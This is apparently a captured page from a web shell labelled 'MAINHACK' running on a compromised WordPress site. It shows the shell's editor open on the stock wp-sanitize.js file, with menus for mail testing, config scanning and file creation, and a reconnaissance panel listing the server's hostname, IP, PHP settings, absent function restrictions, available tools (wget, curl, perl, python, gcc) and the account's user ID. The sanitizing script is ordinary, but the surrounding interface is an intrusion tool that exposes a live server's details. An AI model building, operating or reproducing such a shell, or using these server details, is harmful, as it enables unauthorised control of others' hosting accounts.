[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: wp-sanitize.js
/** * @output wp-includes/js/wp-sanitize.js */ /* eslint-env es6 */ ( function () { window.wp = window.wp || {}; /** * wp.sanitize * * Helper functions to sanitize strings. */ wp.sanitize = { /** * Strip HTML tags. * * @param {string} text - Text to strip the HTML tags from. * * @return {string} Stripped text. */ stripTags: function( text ) { if ( 'string' !== typeof text ) { return ''; } const domParser = new DOMParser(); const htmlDocument = domParser.parseFromString( text, 'text/html' ); /* * The following self-assignment appears to be a no-op, but it isn't. * It enforces the escaping. Reading the `innerText` property decodes * character references, returning a raw string. When written, however, * the text is re-escaped to ensure that the rendered text replicates * what it's given. * * See <https://github.com/WordPress/wordpress-develop/pull/10536#discussion_r2550615378>. */ htmlDocument.body.innerText = htmlDocument.body.innerText; // Return the text with stripped tags. return htmlDocument.body.innerHTML; }, /** * Strip HTML tags and convert HTML entities. * * @param {string} text - Text to strip tags and convert HTML entities. * * @return {string} Sanitized text. */ stripTagsAndEncodeText: function( text ) { let _text = wp.sanitize.stripTags( text ), textarea = document.createElement( 'textarea' ); try { textarea.textContent = _text; _text = wp.sanitize.stripTags( textarea.value ); } catch ( er ) {} return _text; } }; }() );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server405.web-hosting.com
Server IP: 198.54.119.207
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server405.web-hosting.com 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP Thu May 7 23:17:13 UTC 2026 x86_64
HDD Total: 97.87 GB
HDD Free: 77.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: cyllzumx
User ID (UID): 2545
Group ID (GID): 2550
Script Owner UID: 2545
Current Dir Owner: 2545